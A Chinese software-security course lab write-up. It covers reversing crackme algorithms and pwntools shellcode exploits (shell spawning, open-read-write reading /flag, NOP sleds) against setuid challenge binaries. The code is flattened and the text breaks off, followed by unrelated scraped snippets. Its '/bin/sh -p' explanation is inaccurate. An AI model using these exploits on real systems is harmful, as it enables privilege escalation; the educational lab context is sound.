软件安全学习课程实践3:软件漏洞利用实验

1 逆向分析

1.1.1 和 1.1.2 直接 F5 看 flag 就可以了,故略。
1.1.3 对输入用了算法变换,能看到flag,比如输入x,经过f处理成f(x)然后判断f(x)=y,现在要破解f的算法然后写个逆预算g(y)=x


这个代码看起来很抽象,因为 IDA 没有正确的恢复这里的变量结构。选中变量按“N”重命名,按“Y”更改类型

这里很明显是一个buf数组,IDA识别成两个变量,按Y修改为char buf[20]数组


flag是qoahcvzysugsbzjqhfw,交换一下buf[7]和buf[16]即可,即qoahcvzhsugsbzjqyfw

1.1.4 这是一个一个大一时就学过的简单算法
同理先修正变量类型,改为char数组


需要复制这个数据,按【Shift+E】快速复制


第一部分冒泡排序,升序。

第二部分前一半字符和后一半字符对换。

第三部分异或加密。

第四部分再次对换。

再次异或加密。现在要破解这个算法求逆运算,最终密文是:“0x1629DD1125D01D27D21F20D61A23D7073ECB013BCF0C35C00D34C20E”
POC如下:

hexdata = "1629DD1125D01D27D21F20D61A23D7073ECB013BCF0C35C00D34C20E"
arr = bytearray(bytes.fromhex(hexdata))
for ii in range(0, 28):v4 = ii % 3if ii % 3 == 2:arr[ii] ^= 0x93elif v4 <= 2:if v4:if v4 == 1:arr[ii] ^= 0x78else:arr[ii] ^= 0x90for n in range(0, 14):tmp = arr[n]arr[n] = arr[27-n]arr[27-n] = tmpfor m in range(0, 28):v3 = m % 3if m % 3 == 2:arr[m] ^= 0x35elif v3 <= 2:if v3:if v3 == 1:arr[m] ^= 0x2Belse:arr[m] ^= 0xE4for n in range(0, 14):tmp = arr[n]arr[n] = arr[27-n]arr[27-n] = tmp

1.1.5 这是一个简单的算法逆向,如果你暂时解决不出来,可以先完成其他单元


同理先修复数据格式。

后面同理。POC如下:

hexdata = "002AD77CE7562239F56DC9490F25D976EC5D2A2FE378D2541339C46CF9483C26E970DB5B1B"
buf = bytearray(bytes.fromhex(hexdata))for kk in range(0,18):v4 = buf[kk]buf[kk] = buf[36-kk]buf[36-kk] = v4for jj in range(0,37):mark = jj % 6if mark == 0: buf[jj] ^= 0x52elif mark == 1: buf[jj] ^= 0x70elif mark == 2: buf[jj] ^= 0xB6elif mark == 3: buf[jj] ^= 0x4Aelif mark == 4: buf[jj] ^= 0xA4else: buf[jj] ^= 0x0Ffor ii in range(0,37):buf[ii] ^= 0x18for k in range(37):v3 = k % 4if v3 == 3: buf[k] ^= 0x47elif v3 == 2: buf[k] ^= 0x11elif v3 == 1: buf[k] ^= 0x57else: buf[k] ^= 0x30print(buf)

2 shellcode 注入

3.2.1 这是一个没有任何限制的 shellcode

Welcome to ./1-2-1!
This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every
execution, your shellcode will need to be *position-independent*.Allocated 0x1000 bytes for shellcode on the stack at 0x7ffe115ecca0!
Reading 0x1000 bytes from stdin.hacker@shellcode-1-2-1:/challenge$ checksec ./1-2-1
[*] '/challenge/1-2-1'Arch:     amd64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX unknown - GNU_STACK missingPIE:      PIE enabledStack:    ExecutableRWX:      Has RWX segments

栈上可以直接执行

void *shellcode_mem;
size_t shellcode_size;int main(int argc, char **argv, char **envp)
{uint8_t shellcode[0x1000];shellcode_mem = (void *)&shellcode;shellcode_size = read(0, shellcode_mem, 0x1000);assert(shellcode_size > 0);puts("Reading 0x1000 bytes from stdin.\n");shellcode_size = read(0, shellcode_mem, 0x1000);assert(shellcode_size > 0);puts("This challenge is about to execute the following shellcode:\n");print_disassembly(shellcode_mem, shellcode_size);puts("");puts("Executing shellcode!\n");((void(*)())shellcode_mem)();
}


这个程序带有 s 权限,注入 shellcode 可以获得 root
制作 shellcode 有多种方式,比如自己写一个C程序然后扒机器码,要么是基于 pwntools 的 shellcraft 模块。第二小节的作业需要学习 pwntools 工具。

原本写的POC如下:

from pwn import *
context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.sh())
p = process('./1-2-1')
p.sendline(shellcode)
p.recv()
p.interactive()


getshell 后发现权限不够,所以只能通过 shellcode 直接写一个 open-read-write 即 orw shellcode (就是直接借助宿主程序的s权限完成文件读操作然后输出)
这个可以参考 orw_shellcode_模板

EXP 如下:

from pwn import *
context(arch="amd64", os="linux")p = process('/challenge/1-2-1')sh=shellcraft.open('/flag')
sh+=shellcraft.read(3,'rsp',0x100)
sh+=shellcraft.write(1,'rsp',0x100)
sh=asm(sh)
p.sendline(sh)
p.interactive()

关于文件描述符补充信息如下:

【↓以下来自gpt4,内容请自行鉴别】
文件描述符(File Descriptor)是一个用于访问文件或输入/输出资源的非负整数。在类 Unix 操作系统中,文件描述符被用来访问和管理文件和其他类型的 I/O 资源,如管道和网络连接。文件描述符是一个抽象层,使得程序可以统一地处理各种类型的 I/O。
在 Unix 和类 Unix 系统中,有三个标准的文件描述符,它们有特定的用途:

  1. 文件描述符 0:标准输入(Standard Input,缩写为 stdin)。这通常是程序读取输入的地方,比如从键盘、文件或其他程序。
  2. 文件描述符 1:标准输出(Standard Output,缩写为 stdout)。这是程序输出数据的默认目的地,通常是终端(控制台)或者另一个程序。
  3. 文件描述符 2:标准错误(Standard Error,缩写为 stderr)。这是程序写入错误消息的地方。标准错误通常也输出到终端,但它可以被重定向到不同的地方,这样错误信息和标准输出就可以分开处理。
    除了这三个标准的文件描述符之外,当程序打开新的文件或创建管道和网络连接时,系统会分配新的文件描述符。这些文件描述符通常从 3 开始递增分配。例如:
  • 文件描述符 3:这通常是程序运行时打开的第一个文件或者创建的第一个管道/网络连接的文件描述符。

文件描述符是一个重要的概念,因为它们提供了一种统一的方法来处理不同类型的输入和输出。在编写涉及文件操作、管道通信或网络编程的程序时,理解和正确使用文件描述符非常关键。

这里的3表示是打开一个 file io,下面的1代表stdout,所以实现了读文件然后在命令行输出的功能

拿到 flag:

讲题 POC:

如果不加-p的话没有root权限

/bin/sh -p 中的 -p 参数用于在调用 shell 时保留调用者的环境。这意味着在使用 -p 选项启动 shell 时,某些环境变量(如 PATH)将不会被重置为它们的默认值,而是保持不变。这通常用于确保在脚本或命令行中调用的 shell 具有与原始用户环境相同的特权级别和环境设置。

其他做法:

3.2.2 nop sled 是一种常见的 shellcode 注入技巧

###
### Welcome to /challenge/1-2-2!
###This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every
execution, your shellcode will need to be *position-independent*.Allocated 0x1000 bytes for shellcode on the stack at 0x7ffc5a46e3a0!
Reading 0x1000 bytes from stdin.
int main(int argc, char **argv, char **envp)
{assert(argc > 0);for (int i = 3; i < 10000; i++) close(i);for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));uint8_t shellcode[0x1000];shellcode_mem = (void *)&shellcode;puts("Reading 0x1000 bytes from stdin.\n");shellcode_size = read(0, shellcode_mem, 0x1000);assert(shellcode_size > 0);puts("Executing filter...\n");srand(time(NULL));int to_skip = (rand() % 0x700) + 0x100;shellcode_mem += to_skip;shellcode_size -= to_skip;puts("This challenge is about to execute the following shellcode:\n");print_disassembly(shellcode_mem, shellcode_size);puts("");puts("Executing shellcode!\n");((void(*)())shellcode_mem)();
}

因为shellcode地址加了一个小范围随机值,我们考虑用NOP填充超过这个随机区间即可,修改poc:

from pwn import *
context(arch="amd64", os="linux")p = process('/challenge/1-2-2')nop_sled = asm('nop') * 0x800
sh=shellcraft.open('/flag')
sh+=shellcraft.read(3,'rsp',0x100)
sh+=shellcraft.write(1,'rsp',0x100)
sh=asm(sh)
sh = nop_sled + sh
p.sendline(</

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/190129.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据科学家应该知道的 10 个高级深度学习架构!

一、介绍 跟上深度学习的最新进展变得非常困难。几乎每天都会出现深度学习的新创新或新应用。然而&#xff0c;这些进步大部分都隐藏在 ArXiv / Springer 等媒体上发表的大量研究论文中。 本文包含深度学习的一些最新进展以及 keras 库中的实现代码。我还提供了…

【漏洞复现】致远OA wpsAssistServlet接口存在任意文件上传漏洞

漏洞描述 致远OA互联新一代智慧型协同运营平台以中台的架构和技术、协同、业务、连接、数据的专 业能力,夯实协同运营中台的落地效果;以移动化、AI智能推进前台的应用创新,实现企业轻量化、智能化业务场景,促进企业全过程管理能效,赋予企业协同工作和运营管理的新体验;在…

⑩④【MySQL】什么是视图?怎么用?视图的检查选项? 视图的作用?[VIEW]

个人简介&#xff1a;Java领域新星创作者&#xff1b;阿里云技术博主、星级博主、专家博主&#xff1b;正在Java学习的路上摸爬滚打&#xff0c;记录学习的过程~ 个人主页&#xff1a;.29.的博客 学习社区&#xff1a;进去逛一逛~ 视图VIEW ⑩④详解MySQL视图1. 视图的基本使用…

DAO和增删改查通用方法-BasicDao

文章目录 一、BasicDao是什么&#xff1f;二、BasicDao分析三、BasicDao实现&#xff08;1&#xff09;BasicDao&#xff08;2&#xff09;ActorDao&#xff08;3&#xff09;TestDao 四、总结 一、BasicDao是什么&#xff1f; BasicDao:基础的数据对象&#xff0c;可以完成通用…

AD教程 (十八)导入常见报错解决办法(unkonw pin及绿色报错等)

AD教程 &#xff08;十八&#xff09;导入常见报错解决办法&#xff08;unkonw pin及绿色报错等&#xff09; 常见报错解决办法 绿色报错 可以先按TM&#xff0c;复位错位标识绿色报错原因一般是由于规则冲突的原因&#xff0c;和规则冲突就会报错 点击工具&#xff0c;设计…

RK3568驱动指南|第七篇 设备树-第67章 of操作函数实验:获取属性

瑞芯微RK3568芯片是一款定位中高端的通用型SOC&#xff0c;采用22nm制程工艺&#xff0c;搭载一颗四核Cortex-A55处理器和Mali G52 2EE 图形处理器。RK3568 支持4K 解码和 1080P 编码&#xff0c;支持SATA/PCIE/USB3.0 外围接口。RK3568内置独立NPU&#xff0c;可用于轻量级人工…

vmware workstation pro 17.5 安装 macos 13.5.2 虚拟机超详细图文教程

前言 本文很细&#xff0c;甚至有点墨迹&#xff0c;主要为了方便从来没用过 vmware 的新人&#xff0c;其实大部分步骤和正常安装虚拟机没有区别&#xff0c;详细贴图以方便大家对比细节 参考文章 感谢大佬们的无私分享 https://blog.csdn.net/qq_19731521/article/details…

Python每日一练@前言

Python每日一练前言 导读 人生苦短&#xff0c;我用Python 大家好&#xff0c;我是鹅不糊涂 欢迎大家来到Python每日一练 好处 加强编程能力: 每日一练可以帮助提升编程技能&#xff0c;通过解决各种编程问题和挑战&#xff0c;你能够不断锻炼自己的逻辑思维和解决问题的能力…

互联网医院牌照|智慧医疗离不开牌照办理

互联网医院牌照是由卫生健康行政部门颁布的&#xff0c;所有材料审核通过后&#xff0c;相关部门授予《医疗机构执业许可证》&#xff0c;取得牌照后才有开展互联网诊疗活动的资质&#xff0c;但开展线上问诊也需要向发证机关提出申请&#xff0c;下面小编就给大家讲解下互联网…

4.1指令系统-指令格式

现代计算机的结构 计算机的工作过程 指令的定义 指令&#xff08;又称机器指令&#xff09;&#xff1a; 是指示计算机执行某种操作的命令&#xff0c;是计算机运行的最小功能单位。 一台计算机的所有指令的集合构成改机指令系统&#xff0c;也称为指令集。 注意&#xff1…

4.6 Windows驱动开发:内核遍历进程VAD结构体

在上一篇文章《内核中实现Dump进程转储》中我们实现了ARK工具的转存功能&#xff0c;本篇文章继续以内存为出发点介绍VAD结构&#xff0c;该结构的全程是Virtual Address Descriptor即虚拟地址描述符&#xff0c;VAD是一个AVL自平衡二叉树&#xff0c;树的每一个节点代表一段虚…

AlphaControls控件TsDBCombobox出错:访问违规

日常使用AlphaControls控件TsDBCombobox&#xff0c;作为数据变化数据的控件。通常正常使用&#xff0c;一日 发现&#xff0c;出现以下错误&#xff1a; 控件访问违规的源代码&#xff0c;出错代码&#xff1a; function TacMainWnd.CallPrevWndProc(const Handle: hwnd; co…